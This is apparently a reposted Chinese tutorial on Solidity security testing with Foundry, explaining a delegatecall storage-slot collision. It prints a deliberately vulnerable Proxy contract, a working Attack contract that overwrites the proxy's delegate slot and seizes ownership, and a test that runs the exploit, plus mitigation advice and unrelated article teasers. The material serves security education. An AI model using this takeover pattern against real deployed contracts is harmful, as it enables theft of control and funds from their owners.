SolidityFoundry 安全审计测试 Delegatecall漏洞2

名称:

Delegatecall漏洞2

https://github.com/XuHugo/solidityproject/tree/master/vulnerable-defi
描述:

我们已经了解了delegatecall 一个基础的漏洞——所有者操纵漏洞,这里就不再重复之前的基础知识了,不了解或者遗忘的可以再看看上一篇文章;这篇文章的目的是加深一下大家对 delegatecall 的印象并带大家一起去玩点刺激的,拿下一个进阶版的漏洞合约。

这次的攻击目标依然是获得 Proxy 合约中的 owner 权限,我们可以看到两个合约中除了 Proxy合约中的构造函数可以修改合约的 owner 其他地方并没有修改 owner 的函数。我们要如何完成攻击呢?这里需要一点小技巧,大家可以思考一下。

过程:

1、alice分别部署 Delegate、Attack和Proxy合约;
2、攻击者 bob调用 Attack的attack函数,成功将 Proxy合约中的 owner 改成attack的地址。


分析:        

Attack.attack() 函数先将自己的地址转换为 uint256 类型。

然后调用 Proxy.pwn() 函数,相当于调用Delegate.pwn()函数,pwn()函数会根据入参修改变量num(slot 0),由于是delegatecall,所以Proxy合约也是修改slot 0——变量delegate,那么attack函数的参数就会写入Proxy的slot0了,这样我们就相当于把delegate地址改为了Attack合约地址;

然后我们再次调用Proxy.pwn() 函数,现在相当于是调用Attack.pwn()函数,此时我们再来观察 Attack 合约的写法,发现其变量的存储位置故意和 Proxy合约保持一致,并且不难发现 Attack.pwn() 函数的内容也被攻击者写为 owner = msg.sender,这个操作修改了合约中存储位置为 slot1 的变量。所以 Proxy合约使用 delegatecall 调用 Attack.doSomething() 函数就会将合约中存储位置为 slot1 的变量 owner 修改为 msg.sender 也就是 bob的地址,至此攻击者完成了他的攻击。

解决方法:

在使用 delegatecall 时应注意被调用合约的地址不能是可控的;

在较为复杂的合约环境下需要注意变量的声明顺序以及存储位置。因为使用 delegatecall 进行外部调时会根据被调用合约的数据结构来用修改本合约相应 slot 中存储的数据,在数据结构发生变化时这可能会造成非预期的变量覆盖。

proxy合约:

contract Proxy {Delegate delegate;address public owner;uint public num;constructor(address _delegateAddress) public {delegate = Delegate(_delegateAddress);owner = msg.sender;}fallback() external {(bool suc, ) = address(delegate).delegatecall(msg.data); // vulnerablerequire(suc, "Delegatecall failed");}
}

Attack 代码:


contract Attack {Delegate delegate;address public owner;uint public num;Proxy public proxy;constructor(address _proxy) public {proxy = Proxy(_proxy);}function attack() external {address(proxy).call(abi.encodeWithSignature("pwn(uint256)",uint(uint160(address(this)))));//address(proxy).call(abi.encodeWithSignature("pwn(uint256)", 1));}function pwn(uint _num) public {owner = msg.sender;}
}

foundry测试代码:

contract ContractTest is Test {Proxy proxy;Delegate DelegateContract;Attack attack;address alice;address bob;function setUp() public {alice = vm.addr(1);bob = vm.addr(2);}function testDelegatecall() public {DelegateContract = new Delegate(); // logic contractvm.prank(alice);proxy = new Proxy(address(DelegateContract)); // proxy contractattack = new Attack(address(proxy)); // attack contractconsole.log("Alice address", alice);console.log("Proxy owner", proxy.owner());// Delegatecall allows a smart contract to dynamically load code from a different address at runtime.console.log("Change DelegationContract owner to bob...");attack.attack();vm.prank(bob);address(proxy).call(abi.encodeWithSignature("pwn(uint256)", 1));console.log("Proxy owner", proxy.owner());console.log("Exploit completed, proxy contract storage has been manipulated");}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/30443.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

HTML入门教程:深度解析HTML,开启你的前端技术之旅

一、引言 HTML(HyperText Markup Language,超文本标记语言)是前端开发的基础,它负责构建网页的结构和内容。作为前端技术栈的基石,HTML的掌握程度直接影响到网页的开发效率和用户体验。本教程将带你从零开始&#xff…

C语言从头学23——参数的传值与传址引用

在前面学习函数时,曾学习过函数的参数。函数的参数可以是具体的值,也可以是变量。当函数的参数是变量时,就涉及到参数如何传递到函数中。一般有两种方式:传值引用方式、传址引用方式。 一、传值引用:函数的参数以…

微信小程序学习(四):模板语法、数据绑定、数据监听

1、声明和绑定数据 小程序页面中使用的数据均需要在 Page() 方法的 data 对象中进行声明定义在将数据声明好以后,需要在 WXML 中绑定数据,数据绑定最简单的方式是使用 Mustache 语法(双大括号)将变量包起来。在 {{ }} 内部可以做…

使用vue自定义指令directive写一个div移动指令

使用vue自定义指令directive写一个div移动指令 1、在src/utils目录创建drag.js文件。在注册指令名称时不需要‘v-’; import Vue from vueVue.directive(drag, {bind(el,binding){// 鼠标是否按下let dragging false;// 鼠标距离当前元素的x轴向距离let offsetX …

(新)Spring Security如何实现登录认证(实战篇)

一、回顾认证流程详解 概念速查: Authentication接口: 它的实现类,表示当前访问系统的用户,封装了用户相关信息。 AuthenticationManager接口:定义了认证Authentication的方法 UserDetailsService接口:加载用户特定数据的核心接…

从视频创意到传播策略 | 医药产品TVC新媒体传播方案

作为营销策划人,你一定在寻找能够激发创意灵感、拓展策划视野的实战案例。这份最新传播方案由Unithought精心打造,不仅是一份详尽的策划指南,更是一次深入患者心灵的品牌传播实践。 何策网,每日收录全网方案PPT ! 方…

Simulink代码生成: 基本数据类型

文章目录 1 引言2 Simulink中的基本数据类型3 数据类型实例3.1 浮点类型3.2 整数类型3.3 布尔类型 3 数据类型使用的注意点3.1 浮点数等于比较3.2 整形数溢出3.3 布尔类型的位域 4 关于定点数的说明5 总结 1 引言 正如C语言中为变量区分了不同的数据类型一样,Simul…

【机器学习】无监督学习:探索数据背后的隐藏模式

在机器学习的广阔领域中,监督学习因其直观的训练方式和广泛的应用场景,往往受到更多的关注。然而,随着数据量和数据类型的不断增长,无监督学习的重要性日益凸显。本文将详细介绍无监督学习的理论基础、常用算法及其在实际中的应用…

Spark日志有哪些?

spark.log:记录作业运行日志,包括Spark框架内部日志和用户通过日志接口输出的日志。 executor 启动结束日志: job,stage,task提交结束日志: pmap.log:周期性地截取Driver或Executor的pmap和…

Java 17的新特性

Java 17引入了多项新特性,以下是一些重要的更新: 增强的伪随机数生成器(JEP 356) Java 17为伪随机数生成器(PRNG)提供了新的接口类型和实现,包括可跳转的PRNG和另一类可拆分的PRNG算法&#xf…

公开整理-中国海关进出口增减数据(2008-2024年)

数据来源:东方财富网 时间跨度:2008年至今 数据范围:全国范围 数据指标: 年月 当月出口额-金额 当月出口额-同比增长 当月出口额-环比增长 当月进口额-金额 当月进口额-同比增长 当月进口额-环比增长 累计…

探索RESTful API开发,构建可扩展的Web服务

介绍 当我们浏览网页、使用手机应用或与各种互联网服务交互时,我们经常听到一个术语:“RESTful API”。它听起来很高深,但实际上,它是构建现代网络应用程序所不可或缺的基础。 什么是RESTful API? 让我们将RESTful …

SCI一区TOP|常青藤优化算法(IVYA)原理及实现【免费获取Matlab代码】

目录 1.背景2.算法原理2.1算法思想2.2算法过程 3.结果展示4 .参考文献5.代码获取 1.背景 2024年,M Ghasemi受到自然界中常青藤生长行为启发,提出了常青藤优化算法(Ivy Algorithm, IVYA)。 2.算法原理 2.1算法思想 IVYA模拟常青…

【Linux】环境基础开发工具使用(yum、vim、gcc/g++、gdb、make/Makefile)

文章目录 Linux 软件包管理器 yumLinux开发工具Linux编辑器-vim使用vim的基本概念vim下各模式的切换vim命令模式各命令汇总vim底行模式各命令汇总批量化注释和批量化去注释vim简单的配置解决一个小问题 Linux编译器-gcc/g作用gcc/g 语法预处理编译汇编链接什么是函数库 Linux调…

【后端】websocket学习笔记

文章目录 1. 消息推送常见方式1.1 轮询 VS 长轮询1.2 SSE(server-sent event)服务器发送事件 2. websocket介绍2.1 介绍2.2 原理2.3 websoket API2.3.1 客户端【浏览器】API2.3.2 服务端API 3. 代码实现3.1 流程分析3.2 pom依赖3.3 配置类3.4 消息格式3.5 消息类 4.…

Weevil-Optimizer象鼻虫优化算法的matlab仿真实现

目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.本算法原理 5.完整程序 1.程序功能描述 Weevil-Optimizer象鼻虫优化算法的matlab仿真实现,仿真输出算法的优化收敛曲线,对比不同的适应度函数。 2.测试软件版本以及运行结果展示…

速盾:分享一些cdn加速的原理和技术方面的知识

CDN(内容分发网络)是一种将内容分发到全球各地的网络架构,旨在提供快速、可靠的内容传输服务。CDN加速的原理和技术主要包括以下几个方面: 负载均衡:CDN使用负载均衡算法将用户请求分发到最近的服务器,以减…

Linux - 进程

一、什么是进程 首先,Linux是一个多用户多进程的操作系统,系统上可以同时运行多个进程。 进程的产生:①是在执行程序或者命令时产生的;②定时任务进程 进程的类型:前台进程/后台进程 前台进程:一个终端…

WDC西部数据闪存业务救赎之路,会成功吗?

一、序言 在存储界的江湖里,WDC就像是一位手握两大秘籍(闪迪和铠侠NAND工厂)的武林高手,本以为能在企业级SSD的擂台上大展身手,结果却发现自己更像是被误邀参加学霸聚会的学渣,心里那个苦啊,只…

Java15-API

目录 Math类 概述 常见方法 练习 System类 概述 常见方法 Runtime 概述 常见方法 Object类 概述 常见方法 一.演示toString方法 二.演示equals方法 三、对象克隆 分类: 浅克隆 深克隆: Objests类 概述 常见方法 BigInteger类 概…